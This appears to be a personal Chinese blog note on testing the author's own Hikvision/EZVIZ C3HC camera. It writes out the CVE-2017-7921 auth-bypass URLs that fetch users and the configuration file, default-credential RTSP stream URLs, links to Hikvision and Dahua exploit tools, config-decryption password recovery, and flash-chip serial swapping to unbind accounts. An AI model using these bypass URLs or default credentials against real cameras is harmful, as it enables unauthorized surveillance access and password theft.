title: 海康萤石摄像头C3HC学习
date: 2023-10-13 20:55:48
tags: [摄像头]
categories: 摄像头
CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现
https://www.cnblogs.com/yier-G/p/16632842.html
CVE-2021-36260漏洞复现
https://blog.csdn.net/qq_50854662/article/details/128700889
复现源代码:https://github.com/Cuerz/CVE-2021-36260
确定摄像头所在的IP地址段
网线连接到同一个路由器下,查看到路由器里面的DHCP客户端给摄像头分配了IP:192.168.2.218
CVE-2017-7921
http://192.168.2.218/Security/users?auth=YWRtaW46MTEK
Access Error: 405 -- Method Not Allowed
Requested method GET not supported for URL: /Security/users
http://192.168.2.218/onvif-http/snapshot?auth=YWRtaW46MTEK
Access Error: 404 -- Not Found
Can't locate document: /onvif-http/snapshot
http://192.168.2.218/System/configurationFile?auth=YWRtaW46MTEK
Access Error: 405 -- Method Not Allowed
Requested method GET not supported for URL: /System/configurationFile
CVE-2021-36260
Put result
<!DOCTYPE html>
<html>
<head>
<title>Document Error: Not Found</title>
</head>
<body>
<h2>Access Error: 404 -- Not Found</h2>
<p>Can't open document: /mnt/mmc01/webPage/bic/ssoService/v1/applyCT</p>
</body>
</html>
RTSP 弱密码
主码流
rtsp://admin:12345@IP:554/h264/ch1/main/av_stream
rtsp://admin:12345@IP:554/MPEG-4/ch1/main/av_stream
子码流
rtsp://admin:12345@IP/mpeg4/ch1/sub/av_stream
rtsp://admin:12345@IP/h264/ch1/sub/av_stream
杂七杂八的随笔
多个海康摄像头 桥接
求大佬解答:
当面积很大的情况下(比如多个足球场),多个网络WIFI摄像头通过互相之间的桥接的方式,串成特定的网络拓扑;然后通过某个摄像头联网(局域网)来让手机(或电脑)可以查看所有这些WIFI网络摄像头的画面(或者连接到nvr)
有这种方案吗?或者技术上是怎么实现的?
开启设备的AP热点
(AP的SSID为EZVIZ_XXXXXXXXX,其中XXXXXXXXX为设备序列号;
AP的默认密码为EZVIZ_YYYYYY,其中YYYYYY为设备的验证码)
用1接1的链接方式,将第一个摄像头(已接入WIFI互联网)的开启热点adhoc,
第二个摄像头链接第一个摄像头的热点,(组成小火车厢相连接的结构),通过第一个摄像头的网络连接到互联网,也开启热点Adhoc。
第三个摄像头链接到第二个摄像头的热点,以此类推
20231007 确定了方案图纸,等待拍照获取序列号和验证码
- 抓包
- 社会工程
- 大华 DahuaLoginBypass
Chrome extension that uses vulnerability CVE-2021-33044 to log in to Dahua IP cameras and VTH/VTO (video intercom) devices without authentication.
For other device types (NVR/DVR/XVR, etc), there exists CVE-2021-33045 which cannot be exploited with an ordinary web browser.
These vulnerabilities are likely to be fixed in firmware released after Sept 2021.
https://github.com/bp2008/DahuaLoginBypass
- 海康威视摄像头密码找回非重置
Hikvision IPC config preview tool
Requirements:
- Firmware must be 5.4.4 or lower.
- LAN access to camera
Instructions
- Open the following URL in your browser:
http://192.168.0.64/System/configurationFile?auth=YWRtaW46MTEK
You can find out IP using SADP Tool - Submit 'configurationFile' using the form below
https://github.com/WormChickenWizard/hikvision-decrypter
One you obtain the configuration file, simply load it into the program, decrypt it, and save it.Then you can use a hex editor to search for the passwords. At some point, I would like to implement the ability to read and edit the database from inside of the program.
Reference:
https://ipcamtalk.com/threads/hikvision-backdoor-ip-camera.46486/
C3HC如何查看摄像头admin密码?
海康C3HC, 第一次或着重置后连接,会有修改admin为新密码的步骤:修改密码
请将默认加密密码修改为新的加密密码,默认密码为设备验证码(6位大写字母),你可以在设备标签上找到它。
新密码:
修改后,请牢记你的新密码,若密码丢失,将不能被找回,需重置设备恢复初始值,确定要修改?
-
思路:找海康摄像头漏洞,针对漏洞进行分析和利用
CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现
https://www.cnblogs.com/yier-G/p/16632842.htmlCVE-2017-7921复现(解密文件) https://blog.csdn.net/qq_41617034/article/details/117521734 海康摄像头CVE-2021-36260漏洞复现 https://blog.csdn.net/qq_50854662/article/details/128700889 复现源代码:https://github.com/Cuerz/CVE-2021-36260
肯定能找到漏洞复现;可是我无法连接到摄像头的网络,导致无法通信的尴尬!?
疑问:
1. 激活摄像头以后,热点的密码就变为激活密码了吗?
2. 用网线连接后,可否找到IP?
3. C3HC是否有这个漏洞?可否下载configurationFile;
思路2,问问个人卖家;这样专业的实践知识有时Google很难及时收录。
得到确认:WIFI和AP热点模式是不可能同时开启的!
20231011 C3HC大概率有这两个漏洞:
搜索: C3HC 固件升级; 搜索结构还在固件版本V5.3.2 build 200312
如何解绑定手机号
拆下flash,上编程器,修改序列号和验证码即可
具体视频:9号-10号,看了视频,丢失了链接
萤石云摄像头固件修改,更换SN解绑手机,解邦教程
https://tieba.baidu.com/p/8197423399
海康威视CVE-2017-7921的一次实战利用
https://cn-sec.com/archives/1788403.html